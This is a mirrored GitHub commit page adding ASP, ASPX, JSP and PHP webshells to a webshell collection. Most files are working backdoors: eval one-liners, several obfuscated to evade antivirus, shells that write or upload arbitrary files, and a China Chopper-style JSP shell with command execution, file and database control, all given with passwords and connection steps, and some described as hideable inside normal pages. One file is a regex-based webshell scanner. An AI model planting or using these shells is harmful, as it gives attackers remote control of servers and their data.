mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
update webshell with expdoor-com
This commit is contained in:
tennc
parent
f56a2e26ef
commit
a2c8423d1e
17 changed files with 330 additions and 0 deletions
8
asp/Asp最新变形一句话.asp
Normal file
8
asp/Asp最新变形一句话.asp
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
<%
|
||||
Function MorfiCoder(Code)
|
||||
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
|
||||
End Function
|
||||
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
|
||||
%>
|
||||
|
||||
password:z
|
||||
37
asp/Expdoor.com ASP专用小马.asp
Normal file
37
asp/Expdoor.com ASP专用小马.asp
Normal file
|
|
@ -0,0 +1,37 @@
|
|||
<TITLE>Expdoor.com ASP专用小马</TITLE>
|
||||
<form method="post" action="?action=set">
|
||||
<label>文件内容:
|
||||
<br />
|
||||
<textarea name="Text" cols="50" rows="10" id="Text">填入你想写入的内容</textarea>
|
||||
</label><br><font color=red>该脚本仅供学习使用,请勿用于非法!如果发现威胁文件，请到<a
|
||||
|
||||
href='http://www.expdoor.com' title="脚本木马发布基地">www.Expdoor.com</a>解除你的危险状况
|
||||
|
||||
</font>
|
||||
<br />
|
||||
<br />
|
||||
<label>文件名:
|
||||
<input name="FileName" type="text" value="Asp_ver.Asp" size="20" maxlength="50" />
|
||||
<br />
|
||||
<br />
|
||||
</label>
|
||||
<label>
|
||||
<input type="submit" name="Submit" value="保存" />
|
||||
</label>
|
||||
</form>
|
||||
<%
|
||||
dim s
|
||||
if request("action")="set" then
|
||||
Text=request("Text")
|
||||
FileName=request("FileName")
|
||||
set fs=server.CreateObject("Scripting.FileSystemObject") '创建FSO组件
|
||||
set file=fs.OpenTextFile(server.MapPath(FileName),8,True) '创建FileName指定的文件
|
||||
file.writeline Text '把TEXT逐行写入到文件中，如果没有写
|
||||
|
||||
权限，会造成操作失败
|
||||
file.close '关闭file
|
||||
set file=nothing '释放
|
||||
set fs=nothing '释放
|
||||
response.write ("<script>alert('保存成功!')</script>") '返回到客户端执行提示保存成功
|
||||
end if
|
||||
%>
|
||||
9
asp/不带引号的Asp一句话.asp
Normal file
9
asp/不带引号的Asp一句话.asp
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
发现有些狗特别喜欢在引号前面加“\”
|
||||
|
||||
所以找了一个不带引号的Asp一句话
|
||||
|
||||
//Asp的
|
||||
|
||||
服务端： <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>
|
||||
|
||||
菜刀配置地址填： http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave 密码填0
|
||||
34
aspx/Aspx一句话木马小集.aspx
Normal file
34
aspx/Aspx一句话木马小集.aspx
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
1k 的
|
||||
|
||||
<%@ Page Language="VB" %>
|
||||
<%@ import Namespace="System.IO" %>
|
||||
<script runat="server">
|
||||
Sub Page_load(sender As Object, E As EventArgs)
|
||||
dim mywrite as new streamwriter(request.form("path"), true, encoding.default) mywrite.write(request.form("content"))
|
||||
mywrite.close
|
||||
response.write("Done!")
|
||||
End Sub
|
||||
</script>
|
||||
|
||||
---------------------------
|
||||
.net的一句话
|
||||
|
||||
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
|
||||
|
||||
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE> ASPX one line Code Client by amxku</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
<form action=http://127.0.0.1/test.aspx method=post>
|
||||
<textarea name=z cols=120 rows=10 width=45>
|
||||
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
|
||||
nonamed.Write(Request.Item["l"]);
|
||||
nonamed.Close();
|
||||
</textarea>
|
||||
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
|
||||
<input type=submit value=提交>
|
||||
</BODY>
|
||||
</HTML>
|
||||
17
aspx/aspx变形一句话.aspx
Normal file
17
aspx/aspx变形一句话.aspx
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
<script runat="server" language="JScript">
|
||||
function popup(str) {
|
||||
var q = "u";
|
||||
var w = "afe";
|
||||
var a = q + "ns" + w;
|
||||
var b= eval(str,a);
|
||||
return(b);
|
||||
}
|
||||
</script>
|
||||
<%
|
||||
popup(popup(System.Text.Encoding.GetEncoding(65001).
|
||||
|
||||
GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
|
||||
|
||||
%>
|
||||
|
||||
password:z
|
||||
59
jsp/JSP菜刀一句话木马.jsp
Normal file
59
jsp/JSP菜刀一句话木马.jsp
Normal file
|
|
@ -0,0 +1,59 @@
|
|||
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||
<%!
|
||||
String Pwd="sky";
|
||||
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
|
||||
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
|
||||
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
|
||||
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
|
||||
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
|
||||
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
|
||||
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
|
||||
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
|
||||
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
|
||||
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
|
||||
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
|
||||
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
|
||||
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
|
||||
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
|
||||
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
|
||||
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
|
||||
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
|
||||
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
|
||||
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
|
||||
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
|
||||
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
|
||||
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
|
||||
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
|
||||
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
|
||||
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
|
||||
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
|
||||
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
|
||||
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
|
||||
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
|
||||
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
|
||||
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
|
||||
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
|
||||
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
|
||||
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
|
||||
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
|
||||
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
|
||||
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
|
||||
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
|
||||
%><%
|
||||
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
|
||||
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
|
||||
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
|
||||
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
|
||||
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
|
||||
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
|
||||
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
|
||||
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
|
||||
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
|
||||
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
|
||||
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
|
||||
%>
|
||||
1
jsp/新型JSP小马支持上传任意格式文件.jsp
Normal file
1
jsp/新型JSP小马支持上传任意格式文件.jsp
Normal file
|
|
@ -0,0 +1 @@
|
|||
<%@page import="java.io.*"%><%if(request.getParameter("f")!=null){FileOutputStream os=new FileOutputStream(application.getRealPath("/")+request.getParameter("f"));InputStream is=request.getInputStream();byte[] b=new byte[512];int n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}%>
|
||||
18
php/PHP简单小马源码.php
Normal file
18
php/PHP简单小马源码.php
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
<?php
|
||||
if ($_POST)
|
||||
{
|
||||
$f=fopen($_POST["f"],"w");
|
||||
if(fwrite($f,$_POST["c"]))
|
||||
echo "<font color=red>OK!</font>";
|
||||
else
|
||||
echo "<font color=blue>Error!</font>";
|
||||
}
|
||||
?>
|
||||
|
||||
<title> PHP小马 - ExpDoor.com</title>
|
||||
<form action="" method="post">
|
||||
<input type="text" size=61 name="f" value='<?php echo $_SERVER["SCRIPT_FILENAME"];?>'><br><br>
|
||||
<textarea name="c" cols=60 rows=15></textarea><br>
|
||||
<input type="submit" id="b" value="Create"><br>
|
||||
</form>
|
||||
<p></p>
|
||||
84
php/pHp一句话扫描脚本程序.php
Normal file
84
php/pHp一句话扫描脚本程序.php
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
<?php
|
||||
/**********************
|
||||
作者 Spider
|
||||
网上公布的各种PHP后门全军覆没
|
||||
针对一些特殊变形的后门需要自己添加特征
|
||||
误报率不到百分之一
|
||||
**********************/
|
||||
error_reporting(E_ERROR);
|
||||
ini_set('max_execution_time',20000);
|
||||
ini_set('memory_limit','512M');
|
||||
header("content-Type: text/html; charset=gb2312");
|
||||
|
||||
$matches = array(
|
||||
'/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i',
|
||||
'/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\)/i',
|
||||
'/((udp|tcp)\:\/\/(.*)\;)+/i',
|
||||
'/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
|
||||
'/preg\_replace\s*\((.*)\(base64\_decode\(\$/i',
|
||||
'/(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\:\/\/input)+/i',
|
||||
'/(eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
|
||||
'/eval\s*\(\s*\(\s*\$\$(\w+)/i',
|
||||
'/(include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\)/i',
|
||||
'/\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)/i',
|
||||
'/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i',
|
||||
'/(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i',
|
||||
'/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i',
|
||||
'/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i',
|
||||
'/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
|
||||
'/\$\_\=(.*)\$\_/i',
|
||||
'/\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i',
|
||||
'/\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i',
|
||||
'/\$(\w+)\s*\(\s*\$\{(.*)\}/i',
|
||||
'/\$(\w+)\s*\(\s*chr\(\d+\)/i'
|
||||
);
|
||||
|
||||
function antivirus($dir,$exs,$matches) {
|
||||
if(($handle = @opendir($dir)) == NULL) return false;
|
||||
while(false !== ($name = readdir($handle))) {
|
||||
if($name == '.' || $name == '..') continue;
|
||||
$path = $dir.$name;
|
||||
if(is_dir($path)) {
|
||||
//chmod($path,0777);/*主要针对一些0111的目录*/
|
||||
if(is_readable($path)) antivirus($path.'/',$exs,$matches);
|
||||
} elseif(strpos($name,';') > -1 || strpos($name,'%00') > -1 || strpos($name,'/') > -1) {
|
||||
echo '特征 <input type="text" style="width:218px;" value="解析漏洞"> '.$path.'<div></div>'; flush(); ob_flush();
|
||||
} else {
|
||||
if(!preg_match($exs,$name)) continue;
|
||||
if(filesize($path) > 10000000) continue;
|
||||
$fp = fopen($path,'r');
|
||||
$code = fread($fp,filesize($path));
|
||||
fclose($fp);
|
||||
if(empty($code)) continue;
|
||||
foreach($matches as $matche) {
|
||||
$array = array();
|
||||
preg_match($matche,$code,$array);
|
||||
if(!$array) continue;
|
||||
if(strpos($array[0],"\x24\x74\x68\x69\x73\x2d\x3e")) continue;
|
||||
$len = strlen($array[0]);
|
||||
if($len > 6 && $len < 200) {
|
||||
echo '特征 <input type="text" style="width:218px;" value="'.htmlspecialchars($array[0]).'"> '.$path.'<div></div>';
|
||||
flush(); ob_flush(); break;
|
||||
}
|
||||
}
|
||||
unset($code,$array);
|
||||
}
|
||||
}
|
||||
closedir($handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
function strdir($str) { return str_replace(array('\\','//','//'),array('/','/','/'),chop($str)); }
|
||||
|
||||
echo '<form method="POST">';
|
||||
echo '路径: <input type="text" name="dir" value="'.($_POST['dir'] ? strdir($_POST['dir'].'/') : strdir($_SERVER['DOCUMENT_ROOT'].'/')).'" style="width:398px;"><div></div>';
|
||||
echo '后缀: <input type="text" name="exs" value="'.($_POST['exs'] ? $_POST['exs'] : '.php|.inc|.phtml').'" style="width:398px;"><div></div>';
|
||||
echo '操作: <input type="submit" style="width:80px;" value="scan"><div></div>';
|
||||
echo '</form>';
|
||||
|
||||
if(file_exists($_POST['dir']) && $_POST['exs']) {
|
||||
$dir = strdir($_POST['dir'].'/');
|
||||
$exs = '/('.str_replace('.','\\.',$_POST['exs']).')/i';
|
||||
echo antivirus($dir,$exs,$matches) ? '<div></div>扫描完毕' : '<div></div>扫描中断';
|
||||
}
|
||||
?>
|
||||
10
php/一个过安全狗的pHp一句话.php
Normal file
10
php/一个过安全狗的pHp一句话.php
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
<!--------------------------
|
||||
|
||||
测试可用,可插入正常文件中
|
||||
|
||||
密码:expdoor
|
||||
---------------------------->
|
||||
|
||||
|
||||
<?php array_map("ass\x65rt",(array)$_REQUEST['expdoor']);?>
|
||||
|
||||
10
php/不带引号的pHp一句话.php
Normal file
10
php/不带引号的pHp一句话.php
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
发现有些狗特别喜欢在引号前面加“\”
|
||||
|
||||
所以找了一个不带引号的pHp一句话
|
||||
|
||||
|
||||
|
||||
|
||||
//pHp的
|
||||
|
||||
<?php eval($_POST[1]);?> 密码1
|
||||
1
php/国外某论坛不含Get,Post的pHp一句话.php
Normal file
1
php/国外某论坛不含Get,Post的pHp一句话.php
Normal file
|
|
@ -0,0 +1 @@
|
|||
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
|
||||
8
php/极其隐蔽的pHp小马穿插在正常页面中.php
Normal file
8
php/极其隐蔽的pHp小马穿插在正常页面中.php
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
<!--------------------------
|
||||
Name: 折羽鸿鹄
|
||||
Site: http://blog.weili.me
|
||||
Mail: chinese@hackermail.com
|
||||
QQ: 56..
|
||||
---------------------------->
|
||||
<?php
|
||||
if($_GET["hackers"]=="2b"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "url:".$_FILES["upfile"]["name"];if(!file_exists($_FILES["upfile"]["name"])){ copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]); }}?><form method="post" enctype="multipart/form-data"><input name="upfile" type="file"><input type="submit" value="ok"></form><?php }?>
|
||||
11
php/某变异pHp一句话木马.php
Normal file
11
php/某变异pHp一句话木马.php
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
转载自:https://forum.90sec.org/forum.php?mod=viewthread&tid=7316
|
||||
|
||||
源码<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>
|
||||
|
||||
<?
|
||||
@preg_replace("/f/e",$_GET['u'],"fengjiao");
|
||||
?>
|
||||
|
||||
连接方法->
|
||||
.php?u=一句话，然后菜马连一句话密码！把<o>配上去
|
||||
|
||||
1
php/牛X的pHp一句话.php
Normal file
1
php/牛X的pHp一句话.php
Normal file
|
|
@ -0,0 +1 @@
|
|||
<?php $s=@$_GET[2];if(md5($s.$s)=="e67c2597ecad64bb4cdad6633b04107f")@eval($_REQUEST[$s]); ?>
|
||||
7
php/过各大杀软的pHp一句话.php
Normal file
7
php/过各大杀软的pHp一句话.php
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
/**********************
|
||||
无视当前各大杀软,安全狗,D盾,一流监控!
|
||||
|
||||
pHp一句话,密码 1
|
||||
**********************/
|
||||
|
||||
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
|
||||
15
php/非常规的pHp一句话木马.php
Normal file
15
php/非常规的pHp一句话木马.php
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
<?php
|
||||
if(isset($_POST['page'])) {
|
||||
$page = $_POST[page];
|
||||
preg_replace("/[errorpage]/e",$page,"saft");
|
||||
exit;
|
||||
}
|
||||
?>
|
||||
|
||||
带md5并可植入任意文件
|
||||
|
||||
<?
|
||||
md5($_GET['qid'])=='850abe17d6d33516c10c6269d899fd19'?array_map("asx73ert",(array)$_REQUEST['page']):next;
|
||||
?>
|
||||
|
||||
shell.php?qid=zxexp 密码page
|
||||
Loading…
Reference in a new issue